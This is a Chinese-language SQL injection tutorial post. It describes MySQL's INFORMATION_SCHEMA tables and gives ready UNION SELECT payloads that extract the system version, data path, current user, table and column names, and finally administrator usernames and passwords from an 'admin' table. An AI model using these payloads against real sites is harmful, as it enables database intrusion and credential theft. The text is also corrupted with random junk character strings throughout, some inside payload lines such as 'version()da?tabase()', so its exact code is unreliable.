mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
3 i- t3 a6 t8 ]; X3 q2 i6 T: m! j7 P存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
1 [5 u+ U0 J1 ||SCHEMATA ->存储数据库名的表
7 t' D/ A3 o: u8 C. {|---字段：SCHEMA_NAME ->数据库名称
4 `' x" ?' M5 P* m. T) A- e" q! W
/ i) n% I  ]( a/ a+ \; D) {|TABLES ->存储表名
! u: y1 f) b3 ^9 Q|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
# Q6 u2 v0 V3 q|---字段：TABLE_NAME ->存储表的表名

  x7 ~0 [# J1 l4 Y1 j0 R4 h  L  ]|COLUMNS ->存储的字段名表
; P% X' c! ?: u. f- G|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
, o+ ?7 f+ E& g) S  _) N+ @: t) l2 f
|---字段：COLUMN_NAME ->该字段的名称

3 M& T! o' w/ I5 O% w

###########################################################################
7 i9 X# V' D& D( ?
0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
6 Y. D/ c% `) K! q" H1 Q
/*

1 n+ }& R. P; S* i: O' {@@global.version_compile_os 获取系统版本
3 u, f* }9 _5 P  I9 b0 S
@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

- [; q3 q/ G1 g# w& u7 q- W, y& e0 t*/

' J: s8 a* y4 d7 k( w# d
7 j7 R7 ~- Q3 e2 i! }  G
######################################################################
" B1 a" L( T0 M
0x002 获取表名

8 a' e' Q9 w4 Y! L' _6 L7 ounion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*



/*

- }* K! y  x5 V; \+ c* J, n0x67617264656e 为当前数据库名

1 i5 ~; V- {; xgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
) \8 E2 G% \! J. z6 L
' t+ g8 u0 [3 t% W  U( S; W+ t9 ~*/

; p5 k' m) {1 m6 C######################################################################



2 W) P) B8 |1 x$ i# T3 J7 t2 a0x003 获取字段
$ M8 D1 V8 L+ k6 K4 S4 n
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

+ s3 r3 `0 q- \9 d4 M2 e' J/*
- R. D/ X, e4 w/ `; ~: t
5 j( C8 B4 }5 c. M/ Ygroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

7 L2 y5 r1 s+ j- f/ z# A; v: r0x61646d696e ->选择一个表

0x67617264656e ->数据库名
; v1 j# i' Z7 D5 g9 ]
*/
* W9 Q" ~* K4 H% q! h0 e  N
: R. F& w( L2 y  I6 B! m; ~#####################################################################
$ N" D& Q2 P! O% \8 e& I2 D, `
8 w' c/ }2 @, q+ ]# y( t9 R

% {  d* g0 f1 x  [* L4 F9 ^0x004 获取数据
( B: N" O$ q- R+ M0 W9 O$ _& _4 O* Z
union select 1,2,3
% M, i) S; v* f" M$ {,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
  I# A, o" v% A( ]: F4 p: q/ R; E
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
- h" M" W; ]! I& Y
! C" \  u8 s0 k. b

" k1 Z* U2 t. y& [/*

0x3c62723e 换行符号HEX编码
) M+ S' t  x& _  I
group_concat 同时获得该字段所有数据
% @0 G( z$ c, o+ D6 B2 a3 I
, @9 h9 B) ~' |1 h/ |! V*/
. P  S6 K$ V2 H